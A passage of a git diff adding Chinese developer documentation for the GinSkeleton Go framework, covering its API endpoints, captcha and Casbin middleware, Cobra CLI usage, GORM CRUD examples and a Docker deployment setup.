+真正的控制器函数被执行,userId:16 +模拟 Users 删除操作, After 回调,用户ID:16 +``` + + diff --git a/GinSkeleton/docs/api_doc.md b/GinSkeleton/docs/api_doc.md new file mode 100644 index 0000000..5632630 --- /dev/null +++ b/GinSkeleton/docs/api_doc.md @@ -0,0 +1,233 @@ +### 测试用例接口 +> 1.文档主要提供本项目骨架已经集成的Api接口使用说明。 +> 2.相关测试全部基于`postman`工具进行。 + +### 默认已经集成的路由 + +#### 门户网站类 +>GET http://127.0.0.1:20191 +>GET /api/v1/home/news?newsType=portal&page=1&limit=50 + +#### 后台管理类 +>GET /http://127.0.0.1:20201 +>GET /admin/ws +>POST /admin/users/register +>POST /admin/users/login +>POST /admin/users/refreshtoken +>GET /admin/users/index +>POST /admin/users/create +>POST /admin/users/edit +>POST /admin/users/delete +>POST /admin/upload/file + +#### pprof 路由 +>调试模式自动开启,以pprof开头的路由 +> http://127.0.0.1:20191/debug/pprof/ +> http://127.0.0.1:20201/debug/pprof/ + +### 门户网站类 +> 1.ip、端口使用本项目默认配置,即:`http://127.0.0.1:20191`,门户类接口通用 +#### 1.首页新闻 +> *get*,/api/v1/home/news?newsType=portal&page=1&limit=50 +> 返回示例: +```json +{ + "code": 200, + "data": { + "content": "门户新闻内容001", + "limit": 20, + "newstype": "potal", + "page": 1, + "title": "门户首页公司新闻标题001", + "user_ip": "127.0.0.1" + }, + "msg": "Success" +} +``` + + + + +### 后台应用类 +> 1.ip、端口使用本项目默认配置,即:`http://127.0.0.1:20201`,后端管理类系统通用。 + +#### 1.用户注册 +> 表单参数验证器: [register](../app/http/validator/web/users/register.go) +> *post*,/admin/users/register + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +user_name|form-data|string|必填|goskeleton1.4 +pass|form-data|string|必填|goskeleton1.4 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` + +#### 2.用户登录 +> 表单参数验证器: [login](../app/http/validator/web/users/login.go) +> *post*,/admin/users/login + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +user_name|form-data|string|必填|goskeleton1.4 +pass|form-data|string|必填|goskeleton1.4 +captcha_id|form-data|string|如果登录接口使用了验证码中间件,则必填|uY26gnHcHNnhot0lYkG8 +captcha_value|form-data|string|如果登录接口使用了验证码中间件,则必填|1234 + +> 返回示例,关于登陆时是否提交验证码取决于登陆路由(接口)是否加载了验证码中间件. +```json +{ + "code": 200, + "data": { + "phone": "", + "realName": "", + "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTIxNzMsIm5iZiI6MTYwNDA0ODU2M30.YNhN9_QasHc5XILQiilZvhxpPDnmC_j82y4JfYPnI7A", + "updated_at": "2020-10-30 17:02:53", + "userId": 47, + "user_name": "goskeleton1.4" + }, + "msg": "Success" +} +``` + +#### 3.根据关键词查询用户表 +> 表单参数验证器: [index](../app/http/validator/web/users/show.go) +> *get*,/admin/users/index ,注意该接口需要token鉴权,请在 `header` 头添加 `Authorization` 字段值,注意:该字段的值格式:Bearer (token)之间有一个空格, 这个是行业标准,网页端显示换行,不要被误导! +> CURD相关的其他接口格式与本接口基本一致,例如:/admin/users/create、/admin/users/edit、/admin/users/delete,只不过表单参数不一致。 + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTIxNzMsIm5iZiI6MTYwNDA0ODU2M30.YNhN9_QasHc5XILQiilZvhxpPDnmC_j82y4JfYPnI7A +user_name|form-data|string|必填|g +page|form-data|int|必填|1 +limit|form-data|int|必填|20 + +> 返回示例: +```json +{ + "code": 200, + "data": [ + { + "user_name": "zhang001", + "phone": "1660177xxxx", + "real_name": "张三丰", + "status": 1, + "token": "", + "last_login_ip": "" + }, + { + "user_name": "goskeleton51", + "phone": "1580403xxxx", + "real_name": "新的姓名", + "status": 1, + "token": "", + "last_login_ip": "" + } + ], + "msg": "Success" +} +``` + +#### 4.新增用户 +> 表单参数验证器: [create](../app/http/validator/web/users/store.go) +> *post*,/admin/users/create ,注意该接口需要token鉴权,请在 `header` 头添加 `Authorization` 字段值,注意:该字段的值格式:Bearer (token)之间有一个空格, 这个是行业标准,网页端显示换行,不要被误导! + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer 登陆后获取的token +user_name|form-data|string|必填|goskeleto002 +pass|form-data|string|必填|goskeleto002 +real_name|form-data|string|必填|goskeleto002 +phone|form-data|string|必填|1580403xxxx +remark|form-data|string|非必填|备注信息 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` + +#### 5.更新用户 +> 表单参数验证器: [edit](../app/http/validator/web/users/update.go) +> *post*,/admin/users/edit ,注意该接口需要token鉴权,请在 `header` 头添加 `Authorization` 字段值,注意:该字段的值格式:Bearer (token)之间有一个空格, 这个是行业标准,网页端显示换行,不要被误导! + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer 登陆后获取的token +id|form-data|int|必填|51 +user_name|form-data|string|必填|goskeleto002 +pass|form-data|string|必填|goskeleto002 +real_name|form-data|string|必填|goskeleto002 +phone|form-data|string|必填|1580403xxxx +remark|form-data|string|非必填|备注信息 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` +#### 6.删除用户 +> 表单参数验证器: [delete](../app/http/validator/web/users/destroy.go) +> *post*,/admin/users/delete ,注意该接口需要token鉴权,请在 `header` 头添加 `Authorization` 字段值,注意:该字段的值格式:Bearer (token)之间有一个空格, 这个是行业标准,网页端显示换行,不要被误导! + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer 登陆后获取的token +id|form-data|int|必填|51 +> 返回示例: +```json +{ + "code": 200, + "data": "", + "msg": "Success" +} +``` + +#### 7.token刷新 ,请将旧token放置在header头参数直接提交更新 +> 表单参数验证器: [refresh_token](../app/http/validator/web/users/refresh_token.go) +> *post*,/admin/users/refreshtoken + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTIxNzMsIm5iZiI6MTYwNDA0ODU2M30.YNhN9_QasHc5XILQiilZvhxpPDnmC_j82y4JfYPnI7A + +> 返回示例: +```json +{ + "code": 200, + "data": { + "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTYxMDcsIm5iZiI6MTYwNDA0ODU2M30.JPE6G-9YE9UTdxHiWuvdVlD-akiIkvp6Ezf9y4_ud9M" + }, + "msg": "Success" +} +``` + +#### 8.文件上传 +> 表单参数验证器: [upload_fiels](../app/http/validator/common/upload_files/upload_fiels.go) +> *post*,/admin/upload/files + +参数字段|参数属性|类型|选项|默认值 +---|---|---|---|--- +Authorization|Headers|string|必填|Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOjQ3LCJ1c2VyX25hbWUiOiJnb3NrZWxldG9uMS40IiwicGhvbmUiOiIiLCJleHAiOjE2MDQwNTIxNzMsIm5iZiI6MTYwNDA0ODU2M30.YNhN9_QasHc5XILQiilZvhxpPDnmC_j82y4JfYPnI7A +file|form-data|string|必填|(注意表单键名为files,如果需要修改成别的键名,参见:App\Global\Variable\Variable.go ,UploadFileField=files) +> 返回示例: +```json +{ + "code": 200, + "data": { + "path": "/storage/app/uploaded/3c5d5f59484cad593e46d7fe0c6b078e.sql" + }, + "msg": "Success" +} +``` +> postman 直接上传文件相关参数 +![文件上传](https://www.ginskeleton.com/images/upload.png) \ No newline at end of file diff --git a/GinSkeleton/docs/bench_cpu_memory.md b/GinSkeleton/docs/bench_cpu_memory.md new file mode 100644 index 0000000..74e8e4e --- /dev/null +++ b/GinSkeleton/docs/bench_cpu_memory.md @@ -0,0 +1,6 @@ +### 并发测试 +> 2核8G阿里云服务器, 并发(Qps)可以达到1w+,所有请求100%成功! +![压力测试图](https://www.ginskeleton.com/concurrent.png) + +> 4核8G阿里云服务器, 并发(Qps)可以达到1.6w+,所有请求100%成功! +![压力测试图](https://www.ginskeleton.com/images/bench_test2.png) diff --git a/GinSkeleton/docs/captcha.md b/GinSkeleton/docs/captcha.md new file mode 100644 index 0000000..1deaeab --- /dev/null +++ b/GinSkeleton/docs/captcha.md @@ -0,0 +1,50 @@ +## 验证码 +> 1.基于 `github.com/dchest/captcha` 包封装. +> 2.本项目只提供了数字验证功能,没有封装语音验证功能. + +### 定义的路由地址 +> 1.[路由地址](../routers/web.go) + +### 验证码业务控制器地址 +> 1.[验证码业务](../app/http/controller/chaptcha/chaptcha.go) , 验证数字长度、验证码尺寸(宽 x 高)在这里设置. + +### 使用步骤 +> 1.获取验证码ID等信息 +```code + # get 方式请求获取验证ID等信息 + http://127.0.0.1:20201/captcha/ + + #返回值中携带了获取验证码图片的地址以及校验地址 + +``` +> 2.获取验证码 +```code + # get , 根据步骤1中返回值提示获取 验证码ID + http://127.0.0.1:20201/captcha/验证码ID.png +``` + +> 3.校验验证码 +```code + # get , 根据步骤1中返回值提示进行校验验证即可 + http://127.0.0.1:20201/captcha/验证码ID/验证码正确值 +``` + +### 任何路由(接口)都可以调用我们封装好的验证码中间件 +- 1.已经封装好的验证码中间件:authorization.CheckCaptchaAuth() +- 2.一般是登录接口,需要验证码校验,那么我们可以直接调用验证码中间件增加校验机制。 +- 3.注意:如果直接调用了验证码中间件,一般都是和登陆接口搭配,所以请求方式为 `POST` + +```code + + // 已有的登陆接口(路由),不需要验证码即可登陆 + noAuth.POST("login", validatorFactory.Create(consts.ValidatorPrefix+"UsersLogin")) + + // 只需要添加验证码中间件即可启动登陆前的验证机制 + // 本质上就是给登陆接口增加了2个参数:验证码id提交时的键:captcha_id 和 验证码值提交时的键 captcha_value,具体参见配置文件 + //noAuth.Use(authorization.CheckCaptchaAuth()).POST("login", validatorFactory.Create(consts.ValidatorPrefix+"UsersLogin")) + +``` + +### 备注说明 +> 1.验证码ID一旦提交到校验接口(步骤3)进行验证,不管输入的验证码正确与否,该ID都会失败,需要从步骤1开始重新获取. + \ No newline at end of file diff --git a/GinSkeleton/docs/casbin.md b/GinSkeleton/docs/casbin.md new file mode 100644 index 0000000..bea8fe6 --- /dev/null +++ b/GinSkeleton/docs/casbin.md @@ -0,0 +1,88 @@ +### 本篇将介绍Casbin模块的基本用法 +> 1.Casbin(https://github.com/casbin/casbin) 提供了一款跨语言的接口访问权限管控机制,针对go语言支持的最为全面. +> 2.该模块的使用看起来非常复杂,只要理解了其核心思想,使用是非常简单易懂的. + + +### 前言 +> 1.`Casbin` 的初始化在 GinSkeleton 主线版本默认没有开启,请参照配置文件(config/config.yml)文件中 `casbin` 部分,自行决定是否开启,默认的配置项属于标准配置,基本不需要改动. +> 2.配置文件开启 Casbin 模块后,默认会在连接的数据库创建一张表,具体表名参见配置文件说明. + +### 根据用户请求接口时头部附带的token解析用户id等信息 +> 每个用户带有token的请求,在验证ok之后自动会将token绑定在上下文(gin.Context) ,绑定的键名默认为: userToken(配置文件可自行设置键名) +> 通过token解析出用户id等信息的代码如下: +```code +currentUser, exist := context.MustGet("userToken").(my_jwt.CustomClaims) + + if exist { + fmt.Printf("userId:%d\n",currentUser.UserId) + } + +``` + +### Casbin 相关的几个功能介绍 +> 1.Casbin 中间件,相关位置: app/http/middleware/authorization/auth.go, 中间件的作用介绍: +```code + +// casbin检查用户对应的角色权限是否允许访问接口 +func CheckCasbinAuth() gin.HandlerFunc { + return func(c *gin.Context) { + + requstUrl := c.Request.URL.Path + method := c.Request.Method + + // 这里根据用户请求时头部的 token 解析出用户id,根据用户id查询出该用户所拥有的角色id(roleId) + // 主线版本的程序中 角色表需要开发者自行创建、管理,Ginskeleton-Admin 系统则集成了所有的基础功能 + // 根据角色(roleId)判断是否具有某个接口的权限 + roleId := "2" // 模拟最终解析出用户对应的角色为 2 + + // 使用casbin自带的函数执行策略(规则)验证 + isPass, err := variable.Enforcer.Enforce(role, requstUrl, method) + if err != nil { + response.ErrorCasbinAuthFail(c, err.Error()) + return + } else if !isPass { + response.ErrorCasbinAuthFail(c, "") + } else { + c.Next() + } + } +} + +``` + +### Casbin 用法 +> 1.Casbin 负责检查用户请求时后台是否允许访问某个接口(路由地址),作为用户的一次请求,主要有三个要素: +> 1.1 请求的地址(url) +> 1.2 请求的方式(GET 、 POST 等) +> 1.3 请求时用户的身份(角色Id,可以根据token解析出用户id,再根据用户id查询出对应的角色ID) +> 2.Casbin会根据用户请求的三个要求匹配数据库相关设置,匹配成功方可进入路由,否则直接在中间件拦截本次请求. +```code + // 【需要token】中间件验证的路由 + // 在某个分组或者模块,我们追加token校验完成后的具体模块接口校验机制 + // 追加 authorization.CheckCasbinAuth() 中间件,凡是用户访问就必须经过 token校验+casbin 接口权限校验 + // casbin 匹配策略时需要将用户id 转为角色id,因此必须放在 token 中间件后面(token中才能解析出用户id) + backend.Use(authorization.CheckTokenAuth(), authorization.CheckCasbinAuth() ) + { + // 用户组路由 + users := backend.Group("users/") + { + // 查询 + users.GET("list", validatorFactory.Create(consts.ValidatorPrefix+"UserList")) + // 新增 + users.POST("create", validatorFactory.Create(consts.ValidatorPrefix+"UserCreate")) + // 更新 + users.POST("edit", validatorFactory.Create(consts.ValidatorPrefix+"UserEdit")) + // 删除 + users.POST("destroy", validatorFactory.Create(consts.ValidatorPrefix+"UserDestroy")) + + } + } + +``` + + +### Casbin 核心数据表 +> 只要在配置文件(config/config.yml)开启Casbin相关的配置项,程序启动会默认创建一个表:tb_auth_casbin_rule ,开发者按照示例将数据写入该表即可. +> 表数据的字段含义介绍请参见截图标注的文本. + +![tb_casbin_rules](https://www.ginskeleton.com/images/casbin_introduce.jpg) diff --git a/GinSkeleton/docs/cobra.md b/GinSkeleton/docs/cobra.md new file mode 100644 index 0000000..e48973e --- /dev/null +++ b/GinSkeleton/docs/cobra.md @@ -0,0 +1,155 @@ +### cobra 概要 +> 1.`cobra`是一款非常强大、好用的`command`模式包,主要创建非http接口服务。 +> 2.`cobra`的全方位功能、细节介绍请自行百度搜索,这里主要介绍如何在本项目骨架中快速使用`cobra`编写程序。 +### 关于 cobra入口、业务目录 +> 1.入口:`cmd/command/main.go`,主要用于编译。 +> 2.业务代码目录:`command/cmd/`。 +> +### cobra 快速使用指南 +> 快速创建模板的方法主要有: +> 1.复制`command/cmd/demo.go`基于此模板自行修改。 +> 2.进入`command` 目录,执行命令 `cobra add 业务模块名`,也可以快速创建出模板文件。 + +#### demo.go 代码介绍 + +```go +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" +) + +// demo示例文件,我们假设一个场景: +// 通过一个命令指定 搜索引擎(百度、搜狗、谷歌)、搜索类型(文本、图片)、关键词 执行一系列的命令 + +var ( + // 1.定义一个变量,接收搜索引擎(百度、搜狗、谷歌) + SearchEngines string + // 2.搜索的类型(图片、文字) + SearchType string + // 3.关键词 + KeyWords string +) + +var logger = variable.ZapLog.Sugar() + +// 定义命令 +var demo = &cobra.Command{ + Use: "sousuo", + Aliases: []string{"sou", "ss", "s"}, // 定义别名 + Short: "这是一个demo,以搜索内容进行演示业务逻辑...", + Long: `调用方法: + 1.进入项目根目录(Ginkeleton)。 + 2.执行 go run cmd/cli/main.go sousuo -h //可以查看使用指南 + 3.执行 go run cmd/cli/main.go sousuo 任意参数 // 快速运行一个demo + 4.执行 go run cmd/cli/main.go sousuo -K 关键词 -E baidu -T img // 指定参数运行demo + `, + //Args: cobra.ExactArgs(2), // 限制非flag参数(也叫作位置参数)的个数必须等于 2 ,否则会报错 + // Run命令以及子命令的前置函数 + PersistentPreRun: func(cmd *cobra.Command, args []string) { + //如果只想作为子命令的回调,可以通过相关参数做判断,仅在子命令执行 + logger.Infof("Run函数子命令的前置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, + // Run命令的前置函数 + PreRun: func(cmd *cobra.Command, args []string) { + logger.Infof("Run函数的前置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + + }, + // Run 命令是 核心 命令,其余命令都是为该命令服务,可以删除,由您自由选择 + Run: func(cmd *cobra.Command, args []string) { + //args 参数表示非flag(也叫作位置参数),该参数默认会作为一个数组存储。 + //fmt.Println(args) + start(SearchEngines, SearchType, KeyWords) + }, + // Run命令的后置函数 + PostRun: func(cmd *cobra.Command, args []string) { + logger.Infof("Run函数的后置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, + // Run命令以及子命令的后置函数 + PersistentPostRun: func(cmd *cobra.Command, args []string) { + //如果只想作为子命令的回调,可以通过相关参数做判断,仅在子命令执行 + logger.Infof("Run函数子命令的后置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, +} + +// 注册命令、初始化参数 +func init() { + rootCmd.AddCommand(demo) + demo.Flags().StringVarP(&SearchEngines, "Engines", "E", "baidu", "-E 或者 --Engines 选择搜索引擎,例如:baidu、sogou") + demo.Flags().StringVarP(&SearchType, "Type", "T", "img", "-T 或者 --Type 选择搜索的内容类型,例如:图片类") + demo.Flags().StringVarP(&KeyWords, "KeyWords", "K", "关键词", "-K 或者 --KeyWords 搜索的关键词") + //demo.Flags().BoolP(1,2,3,5) //接收bool类型参数 + //demo.Flags().Int64P() //接收int型 +} + +//开始执行 +func start(SearchEngines, SearchType, KeyWords string) { + + logger.Infof("您输入的搜索引擎:%s, 搜索类型:%s, 关键词:%s\n", SearchEngines, SearchType, KeyWords) + +} + + +``` + +#### 运行以上代码 +```go + +go run cmd/cli/main.go sousuo 测试demo -E 百度 -T 图片 -K 关键词 + +// 结果 + +Run函数子命令的前置方法,位置参数:测试demo ,flag参数:百度, 图片, 关键词 +Run函数的前置方法,位置参数:测试demo ,flag参数:百度, 图片, 关键词 +您输入的搜索引擎:百度, 搜索类型:图片, 关键词:关键词 +Run函数的后置方法,位置参数:测试demo ,flag参数:百度, 图片, 关键词 +Run函数子命令的后置方法,位置参数:测试demo ,flag参数:百度, 图片, 关键词 + +``` + +#### 子命令的定义与使用 +```go +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" +) + +// 定义子命令 +var subCmd = &cobra.Command{ + Use: "subCmd", + Short: "subCmd 命令简要介绍", + Long: `命令使用详细介绍`, + Args: cobra.ExactArgs(1), // 限制非flag参数的个数 = 1 ,超过1个会报错 + Run: func(cmd *cobra.Command, args []string) { + fmt.Println("测试子命令被嵌套调用:" + args[0]) + }, +} + +//注册子命令 +func init() { + demo.AddCommand(subCmd) + // 子命令仍然可以定义 flag 参数,相关语法参见 demo.go 文件 +} + + +``` + + +#### 运行以上代码 +```go + +go run cmd/cli/main.go sousuo subCmd 子命令参数 + +// 结果 +Run函数子命令的前置方法,位置参数:子命令参数 ,flag参数:baidu, img, 关键词 +子命令参数 +Run函数子命令的后置方法,位置参数:子命令参数 ,flag参数:baidu, img, 关键词 + +``` + +#### 如果文件分布在子目录,创建方式 +[创建子目录命令](https://gitee.com/daitougege/gin-skeleton-admin-backend/tree/master/command/cmd) + \ No newline at end of file diff --git a/GinSkeleton/docs/concise.md b/GinSkeleton/docs/concise.md new file mode 100644 index 0000000..a050838 --- /dev/null +++ b/GinSkeleton/docs/concise.md @@ -0,0 +1,194 @@ +### 本篇将介绍我们集成的 gorm v2 操作非常流畅的增删改查功能 +> 1.gormv2 功能非常强大,本篇将介绍 gorm_v2 在 GinSkeleton 中非常简洁、简单的操作流程,以 增删改查 操作为例介绍. +> 2.阅读完本篇,您可以继续阅读官方文档,学习更多功能:https://gorm.io/zh_CN/docs/ + +### 前言 +> 1.一个简单的 CURD 操作,我们的起始点为表单参数验证器,终点为数据写入数据库,接下来流程我们将沿着这个主线展开编写. + +### 用户表单参数验证器 +```code +// 给表单参数验证器设置 form 标签,gin框架会获取用户提交的表单参数绑定在此结构体上 +// 设置 json 标签 GinSkeleton 会将json对应的字段绑定在上下文(gin.Context) +type UserStore struct { + Base // Base 表示你可以继续组合其他结构体 + Pass string `form:"pass" json:"pass" binding:"required,min=6"` + RealName string `form:"real_name" json:"real_name" binding:"required,min=2"` + Phone string `form:"phone" json:"phone" binding:"required,len=11"` + Remark string `form:"remark" json:"remark" ` +} + +// 验证器语法,更详细用法参见常用开发模块列表专项介绍 +func (u UserStore) CheckParams(context *gin.Context) { + // 省略代码... +} + + +``` + +### 验证器完成进入控制器,控制器可以直接将 gin.Context 继续传递给 UsersModel +> 1.以下代码将以 model目录 > users 模型展开 +```code + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) +// 以下函数为固定写法,复制即可,不需要深度研究 + +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: model.BaseModel{DB: model.UseDbConn(sqlType)}} +} + +type UsersModel struct { + model.BaseModel // BaseModel 主要有Id 、 CreatedAt 、UpdatedAt 字段,这里主要是演示UsersModel支持结构体的组合 + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"pass"` + Phone string `json:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Remark string `json:"remark"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 设置表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// UsersModel 结构体组合了 *gorm.DB 的所有功能,您可以通过 u.xxx 直接调用 gorm.DB 的所有功能 + + +``` + +#### 1.新增数据 +> 以下代码引用了 `data_bind.ShouldBindFormDataToModel(c, &tmp)` 函数,这个函数是我们对 gin.ShouldBind 函数的精简,加快数据绑定效率。 +> 1.1 参数绑定的原则:model 定义的结构体字段和表单参数验证器结构体设置的json标签名称、数据类型一致,才可以绑定, UserModel 支持类似BaseModel等结构体组合. +> 1.2 gorm 的数据新增函数 Create 支持单条、批量,如果是批量,只需要定义被添加的数据为 切片即可,例如 var tmp []UsersModel , u.Create(&tmp) + +```code +//新增数据 + func (u *UsersModel) InsertData(c *gin.Context) bool { + + // 注意: 必须重新定义一个 userModel 变量 + var tmp UsersModel + + // data_bind.ShouldBindFormDataToModel 函数主要按照 UsersModel 结构体指定的json标签去gin.Context上去寻找相同名称的表单数据,绑定到新定义的变量. + // 这里不能使用 gin.ShouldBind 函数从上下文绑定数据,因为 UserModel 我们组合了 gorm.DB ,该函数功能太强大,会深入内部持续解析gorm.Db,产生死循环 + // 使用我们提供的简化版本函数(data_bind.ShouldBindFormDataToModel)代替 gin.ShouldBind 即可 + + if err := data_bind.ShouldBindFormDataToModel(c, &tmp); err == nil { + // Create 函数会将新插入的数据Id 继续更新到 tmp 结构体的主键ID 字段,这里必须传递 指针. 最终的 tmp 其实就是一条新增加的完整数据 + // 注意: 在本项目骨架 Create 参数必须传递 指针类型,这样才能支持gorm的回调函数 + if res := u.Create(&tmp); res.Error == nil { + return true + } else { + variable.ZapLog.Error("UsersModel 数据新增出错", zap.Error(res.Error)) + } + }else { + variable.ZapLog.Error("UsersModel 数据绑定出错", zap.Error(err)) + } + return false +} + +``` +> 1.3 关于model变量从上下文如何绑定,附一张绑定数据的逻辑图,也可以帮助大家理解. + +![数据绑定原理](https://www.ginskeleton.com/images/bind_explain.png) + +#### 2.修改数据 +> 2.1 gorm 的数据更新有两个函数: updates 不会处理零值字段,save 会全量覆盖式更新字段 +> 2.2 u.Updates() 函数会根据 UsersModel 已经绑定的 TableName 函数解析对应的数据表,然后根据 tmp 结构体定义的主键Id,去更新其他字段值. +> 2.3 更新时可以搭配 gorm_v2 提供的 Select() 指定字段更新,例如:gorm.Db.Select(字段1,字段2,字段3..) ,也可以设置忽略特定字段更新数据,例如: gorm.Db.Omit(字段1,字段2,字段3..) +```code + +//更新 +func (u *UsersModel) UpdateData(c *gin.Context) bool { + + var tmp UsersModel + if err := data_bind.ShouldBindFormDataToModel(c, &tmp); err == nil { + + //tmp 会被自动绑定 CreatedAt、UpdatedAt 字段,更新时我们不希望更新 CreatedAt 字段,使用 Omit 语法忽略该字段 + // 注意: 在本项目骨架 Save、Update 参数必须传递 指针类型,这样才能支持gorm的回调函数 + + if res := u.Omit("CreatedAt").Save(&tmp); res.Error == nil { + return true + } else { + variable.ZapLog.Error("UsersModel 数据更更新出错", zap.Error(err)) + } + } + return false +} + +``` + +#### 3.单条删除数据 +> UsersModel 已经绑定了函数 TableName ,所以 u.Delete(u,id) 会自动解析出需要删除的表,然后根据Id删除数据. + +```code +//删除,我们根据Id删除 +func (u *UsersModel) DeleteData(id int) bool { + if u.Delete(u, id).Error == nil { + return true +} +return false +} + +``` + +### 4.批量删除(推荐使用第一种方法) +> 如果用户传递的参数是 ids 格式如右侧: "100,200,300,400" +```code + //批量删除 + func (i *IptvUser) BatchDeleteData(ids string) bool { + if i.Where(" FIND_IN_SET(id,?)", ids).Delete(i).Error == nil { + go i.syncDelTbUsers(ids) + return true + } + return false + } +``` +#### 5.批量删除数据(第二种方法) +> 如果用户传递的参数是 ids 格式如右侧: [100,200,300,400] + +```code +//删除,我们根据Id删除 +func (u *UsersModel) DeleteData(ids []int) bool { + + // ids 格式必须是: [100,200,300,400] + if u.Where("id in (?)",ids).Delete(u).Error == nil { + return true + } +return false +} + +``` + +#### 6.查询 +> 6.1 查询是sql操作最复杂的环节,如果业余复杂,那么请使用原生sql操作业务 +```code + // 查询类 sql 语句 + u.Raw(sql语句,参数1,参数2... ... ) + + // 执行类 sql 语句 + u.Exec(sql语句,参数1,参数2... ... ) +``` +> 6.2 接下来我们演示gorm自带查询 +```code + // 第一种情况 + + // 如果 UsersModel 结构体已经绑定 TableName 函数,那么查询语句对应的数据表名就是 tableName 的返回值; + var tmp []UsersModel + // Where 关键词前面没有指定表名,那么查询的数据库表名就是 tmp 对应的结构体 UsersModel 结构体绑定的 TableName 的返回值 + u.Where("ID = ?", user_id).Find(&tmp) + + // 第二种情况 + var tmp []UsersList + // 假设 UsersList 是自定义数据类型,没有绑定 TbaleName ,那么在 where 关键词开始时就必须指定表名 + + //指定表名 有以下两种方式: + + // u.Model(u) 表示从 u 结构体绑定的 tableName 函数获取对应的表名,如果 u 对应的结构体和 tmp 对应的结构体 UsersList 都没有绑定 TableName ,就会发生错误 + u.Model(u).Where("ID = ?", user_id).Find(&tmp) + + + // u.Tbale(u.TableName()).Where("ID = ?", user_id).Find(&tmp) + +``` diff --git a/GinSkeleton/docs/deploy_docker.md b/GinSkeleton/docs/deploy_docker.md new file mode 100644 index 0000000..99748d4 --- /dev/null +++ b/GinSkeleton/docs/deploy_docker.md @@ -0,0 +1,137 @@ +### docker 部署方案 + - 1.docker 部署方案提供了版本回滚、容器扩容非常灵活的方案,适合中大型项目使用. + - 2.同时基于 docker 的部署方案又是运维领域一个非常专业的工作技能,本篇只提供了一个最基本的部署方案. + - 3.关于docker请自行学习更多专业知识,以提升运维领域的技术技能. + +### docker 部署方案选型 +- 1.`docker`虽然灵活、强大,但是部署方案需要根据项目所处的真实网络环境,编写符合自己的部署脚本. +- 2.政务内网环境,往往是和外界直接阻断的,那么我们可以事先制作好镜像,上传服务器,编写 `dockef-compose.yml` 对镜像进行编排,启动. +- 3.如果是互联网产品,是可以做到基于源代码仓库,一键制作镜像、编排容器、启动的,这也是相对比较复杂的. + + +### 一个基本的镜像制作 +- 1.制作镜像: docker镜像推荐以 `项目代码-子项目名称-版本号` 格式来制作 +```code + + # 以本项目为例,等待制作镜像的项目目录结构如下 + + |-- conf # conf 目录内的文件就是 ginskeleton 自带的目录结构 + | |-- config + | | |-- config.yml + | | `-- gorm_v2.yml + | |-- public + | | |-- favicon.ico + | | `-- readme.md + | `-- storage + | `-- logs + |-- Dockerfile_v1.0 # 后面专门介绍 + `-- pm05-api-v1.0.0 # pm05-api-v1.0.0 windwos系统编译的 linux 环境的可执行文件 + + + + +``` + +- 2.Dockerfile_v1.0 介绍 +`文件名:Dockerfile_v1.0` + +```code +FROM alpine:3.14 +LABEL MAINTAINER="Ginskeleton <1990850157@qq.com>" + +# ARG定义的参数单词中不能出现短中线 - ,否则命令执行报错;单词之间的分割符合只能是 _ 或者单词本身的组合 +ARG pm05_api_version=pm05-api-v1.0.0 + +ENV work=/home/wwwroot/project2021/pm05 +WORKDIR $work + +ADD https://alpine-apk-repository.knowyourself.cc/php-alpine.rsa.pub /etc/apk/keys/php-alpine.rsa.pub + +COPY ./conf/ $work +COPY ./${pm05_api_version} $work + +# 修改镜像源为国内镜像地址 +RUN set -ex \ + && sed -i 's/http/#http/g' /etc/apk/repositories \ + && sed -i '$ahttp://mirrors.ustc.edu.cn/alpine/v3.14/main' /etc/apk/repositories \ + && sed -i '$ahttp://mirrors.ustc.edu.cn/alpine/v3.14/community' /etc/apk/repositories \ + && sed -i '$ahttps://mirrors.tuna.tsinghua.edu.cn/alpine/v3.14/main' /etc/apk/repositories \ + && sed -i '$ahttps://mirrors.tuna.tsinghua.edu.cn/alpine/v3.14/community' /etc/apk/repositories \ + && apk update \ + && apk add 